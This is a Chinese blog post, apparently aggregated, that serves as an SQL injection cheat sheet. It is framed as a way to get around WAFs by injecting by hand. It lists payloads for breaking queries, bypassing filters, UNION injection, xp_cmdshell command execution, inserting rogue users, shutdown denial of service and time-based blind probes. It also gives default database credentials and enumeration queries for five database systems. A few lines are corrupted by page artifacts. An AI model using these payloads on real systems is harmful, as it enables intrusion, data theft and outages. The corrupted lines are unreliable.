1. 程式人生 > >常見的SQL注入檢測語句

常見的SQL注入檢測語句

0x00 前言

     現在很多WAF都能攔截sqlmap、havij 等注入工具的發包注入,所以這時我們需要在瀏覽器上使用hackerbar 進行手工注入,或者說是手工繞過注入攻擊

0x01 發現SQL 注入

1 查詢語法中斷:單引號(  ‘  ), 雙引號( “  )

2 SQL註釋注入:雙連字元  (-- ), 雜湊 (# ), 註釋( /* )

3 擴充套件/附加查詢: 分號 (  ;  )

4 注射/繞過過濾器:使用 CHAR(), ASCII(), HEX(), CONCAT(), CAST(), CONVERT(), NULL  來轉換上面的注入字元

0x02 常用的SQL注入命令

1 Union注入:Union all select NULL (Multiple columns)

2 命令執行:1;exec master..xp_cmdshell ‘dir’>C:\inetpub\wwwroot\dir.txt’ OR master.dbo.xp_cmdshell

3 載入檔案:LOAD_FILE(), User UTL_FILE and utfReadfileAsTable

4 新增使用者:1’; insert into users values(‘nto’,’nto123’)

5 DOS攻擊:1’;shutdown –

6 獲取欄位: select name from syscolumns where id =(select id FROM sysobjects where name = ‘target table name’) – (Union can help)Co

0x02 常用的SQL盲注命令

1 快速檢測:AND 1=1, AND 1=0

2 查詢使用者:1+AND+USER_NAME()=’dbo’

3 延時注入:1;waitfor+delay+’0:0:10’

4 檢查SA使用者:SELECT+ASCII(SUBSTRING((a.loginame),1,1))[email protected]@SPID)=115

5 跳轉/休眠:BENCHMARK(TIMES, TASK), pg_sleep(10)

0x03 資料庫的預設使用者名稱

Oracle                  scott/tiger, dbsnmp/dbsnmp
MySQL                  mysql/<BLANK>, root/<BLANK>
PostgreSQL        postgres/<BLANK>
MS-SQL               sa/<BLANK>
DB2                     db2admin/db2admin

0x04 常見的後臺資料庫SQL注入命令

1 MySQL

Grab                              @@version
Users                            * from mysql.user
Tables                         table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
Database                    distinct(db) FROM mysql.db
Columns                    table_schema, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ AND table_name == ‘<TABLENAME>’
Running User               user()

2 MS-SQL
Grab version           @@version
Users                      name FROM master..syslogins
Tables                     name FROM master..sysobjects WHERE xtype = ‘U’
Database                name FROM master..sysdatabases;
Columns                name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘<TABLENAME’)
Running User        DB_NAME()

3 Oracle
Grab  version          table v$version compare with ‘Oracle%’
Users                      * from dba_users
Tables                      table_name from all_tables
Database                distinct owner from all_tables
Columns                 column_name from all_tab_columns where table_name=‘<TABLENAME>
Running User        user from dual

4 IBM DB2
Grab version          Versionnumber from sysibm.sysversions;
Users                      user from sysibm.sysdummy1
Tables                    name from sysibm.systables
Database               schemaname from syscat.schemata
Columns                name, tbname, coltype from sysibm.syscolumns
Running User        user from sysibm.sysdummy1

5 PostgreSQL
Grab version           version()
Users                     * from pg_user
Database                datname FROM pg_database
Running User         user;

相關推薦

常見SQL注入檢測語句

0x00 前言      現在很多WAF都能攔截sqlmap、havij 等注入工具的發包注入,所以這時我們需要在瀏覽器上使用hackerbar 進行手工注入,或者說是手工繞過注入攻擊 0x01 發現

常見sql注入的防範總結

在平時的開發過程中,我們可能很少會刻意的去為專案做一個sql注入的防範,這是因為你可能因為使用了某些框架,而無意間已經有了對應sql注入的一些防範操作(比如mybatis使用#{XX}傳參,屬於預編譯防

常見SQL語句

刪除數據庫 rom gpo style from sum 查找 更新 del 創建數據庫 CREATE DATABASE 你要創建的數據庫名字 刪除數據庫 drop database 你要刪的數據庫名字 創建新表 create table 你

表名動態生成拼接到sql語句sql注入問題

背景:根據業務需要,每個月生成一張根據年份和月份的表,然後當前的資料存到當前月份的表。 關鍵程式碼如下: String tabName = "tabsaveevent" + strYear + strMonth; String sqlSave = "insert into "

SQL SERVER發生死鎖檢測語句

sql server資料庫發生死鎖採用如下SQL語句進行檢索: select object_name(resource_associated_entity_id) as tableName, request_session_id as pid from sys.

C# 使用引數化SQL語句(防SQL注入攻擊)

“SQL注入攻擊”問題。我們在程式中存在著大量拼接產生SQL語句的程式碼,這就會導致一個比較大的安全隱患,容易遭受SQL注入攻擊。我們在程式碼中用的SQL語句是: string sqlStr = "select * from [Users] where User

sql注入常見的報錯資訊

sql注入是我們常見的ctf的web型別題目,因此我們在做這類題時經常會在頁面上返回錯誤資訊,因此熟悉一些常見的sql注入資訊是很重要的,下面我介紹一些自己常遇到的mysql報錯資訊。 我們在頁面上返回的錯誤資訊不僅僅只有mysql返回的,可能還有伺服器返回的,因此我僅

Web漏洞處理--http host頭攻擊漏洞處理方案/檢測到目標URL存在寬位元組跨站漏洞/ 檢測到目標URL存在SQL注入漏洞

1.配置web 攔截器 <filter> <filter-name>XssSqlFilter</filter-name> <filter-class>com.enation.eop.Se

對搜狐 網易和TOM三大入口網站的SQL注入漏洞檢測

                對搜狐、網易和TOM三大入口網站的SQL注入漏洞檢測  本文節選自《大中型網路入侵要案直擊與防禦》一書    此外,筆者對搜狐及TOM和網易這三大入口網站作了注入攻擊檢測,發現同樣存在明顯的注入漏洞,安全性很糟糕。  1.MySQL注入檢測搜狐入口網站  首先,來看看搜狐網站,

SQL注入專題--整理帖 && like 語句sql 如何防止注入攻擊

like 語句拼sql 如何防止注入攻擊?http://bbs.csdn.net/topics/100119798 預防SQL注入攻擊之我見 www.cnblogs.com/jyk/archive/2009/11/26/1610987.html SQL注入專題--整理帖

SQL注入技巧拓展】————12、MongoDB安全 – PHP注入檢測

什麼是MongoDB MongoDB 是一個基於分散式檔案儲存的資料庫。MongoDB是個開源的NoSql資料庫,其通過類似於JSON格式的資料儲存,這使得它的結構就變得非常自由。通過MongoDB的查詢語句就可以查詢具體內容。 為什麼使用MongoDB 其實大部分原因只

常見sql語句效率優化方式

首先介紹幾條優化原則: 儘量避免where中包含子查詢;  where條件中,過濾量最大的條件放在where子句最後;  採用繫結變數有助於提高效率;  在索引列上使用計算、改變索引列的型別、在索引列上使用!=將放棄索引; 

Web常見安全漏洞-SQL注入

    SQL注入攻擊(SQL Injection),簡稱注入攻擊,是Web開發中最常見的一種安全漏洞。 可以用它來從資料庫獲取敏感資訊,或者利用資料庫的特性執行新增使用者,匯出檔案等一系列惡意操作, 甚至有可能獲取資料庫乃至系統使用者最高許可權。 而造成SQL注入的原

防止常見XSS 過濾 SQL注入 JAVA過濾器filter

XSS : 跨站指令碼攻擊(Cross Site Scripting),為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站指令碼攻擊縮寫為XSS。惡意攻擊者往Web頁面裡插入惡意html程式碼,當用戶瀏覽該頁之時,嵌入其中Web裡

模糊查詢LIKE語句SQL注入預防

<select id="INSTITUTIONS-GET-PARAMS" resultMap="INSTITUTIONSDO-MAP" parameterClass="java.util.Map"> <![CDATA[ SELECT /*INSTITUTIONS-CLASS

sql注入語句整理

1.判斷有無注入點; and 1=1 and 1=2 2.猜表一般的表的名稱無非是admin adminuser user pass password 等..and 0<>(select count(*) from *)and 0<>(select count(*) from

常見SQL語句語法錯誤解決

1、忘記加別名,如下SQL語句from()後面需要加別名tt select count(tt.mUserId) from (select mUserId from mobile_user_menu " + sqlwhere + " group by mUserid) as

【資料庫SQL常見SQL語句-建立表_新增主鍵_新增列

常見SQL語句-建立表 新增主鍵 新增列  新建表: create table [表名] ( [自動編號欄位] int IDENTITY (1,1) PRIMARY KEY , [欄位1] nVarChar(50) default \'預設值\' null , [欄位2]

SQL注入防禦之三——SQL語句預處理(PHP)

許多成熟的資料庫都支援預處理語句(Prepared Statements)的概念。它們是什麼東西?你可以把它們想成是一種編譯過的要執行的SQL語句模板,可以使用不同的變數引數定製它。預處理語句的引數不需要使用引號,底層驅動會為你處理這個。如果你的應用獨佔地

sql常見的控制流語句

一行 else exist family true 語句 print select tin 控制流語句:1 begin .....end 2 if ...else 例如:if exists (select * from 表名稱 ) begin selct * from